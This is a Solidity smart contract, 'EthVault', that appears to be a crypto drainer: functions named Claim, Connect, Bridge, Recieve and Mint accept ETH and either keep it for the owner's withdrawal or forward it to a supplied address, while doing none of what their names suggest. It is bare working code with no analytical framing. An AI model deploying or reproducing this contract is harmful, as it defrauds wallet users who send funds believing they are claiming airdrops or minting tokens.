// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

contract Owner {

    address private owner;
    
    event OwnerSet(address indexed oldOwner, address indexed newOwner);
    
    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner can call this method");
        _;
    }
    
    constructor() {
        owner = msg.sender;
        emit OwnerSet(address(0), owner);
    }

    function changeOwner(address newOwner) public onlyOwner {
        emit OwnerSet(owner, newOwner);
        owner = newOwner;
    }

    function getOwner() external view returns (address) {
        return owner;
    }
}

contract EthVault is Owner {
    event TransferSent(address _from, address _destAddr, uint256 _amount);

    function _transferEth(address payable _to, uint256 value) private returns (bytes memory) {
        (bool sent, bytes memory data) = _to.call{value: value}("");
        require(sent, "Failed to send Ether");
        return data;
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    } 

    
    function Claim() public payable{}
    function Connect() public payable{}
    function Bridge() public payable{}
    function Recieve() public payable{}
    function Mint() public payable{}

    function withDraw(uint256 amount, address payable receiver) public onlyOwner {
        require(amount <= address(this).balance, "Requested amount exceeds the contract balance.");
        require(receiver != address(0), "Recipient address cannot be the zero address.");
        _transferEth(receiver,amount);
        emit TransferSent(address(this),receiver,amount);
    }

    function Bridge(address payable receiver) public payable {
        _transferEth(receiver,msg.value);
        emit TransferSent(msg.sender,receiver,msg.value);
    }
    function Connect(address payable receiver) public payable {
        _transferEth(receiver,msg.value);
        emit TransferSent(msg.sender,receiver,msg.value);
    }
    function Claim(address payable receiver) public payable {
        _transferEth(receiver,msg.value);
        emit TransferSent(msg.sender,receiver,msg.value);
    }
    function Mint(address payable receiver) public payable {
        _transferEth(receiver,msg.value);
        emit TransferSent(msg.sender,receiver,msg.value);
    }
    function Recieve(address payable receiver) public payable {
        _transferEth(receiver,msg.value);
        emit TransferSent(msg.sender,receiver,msg.value);
    }
}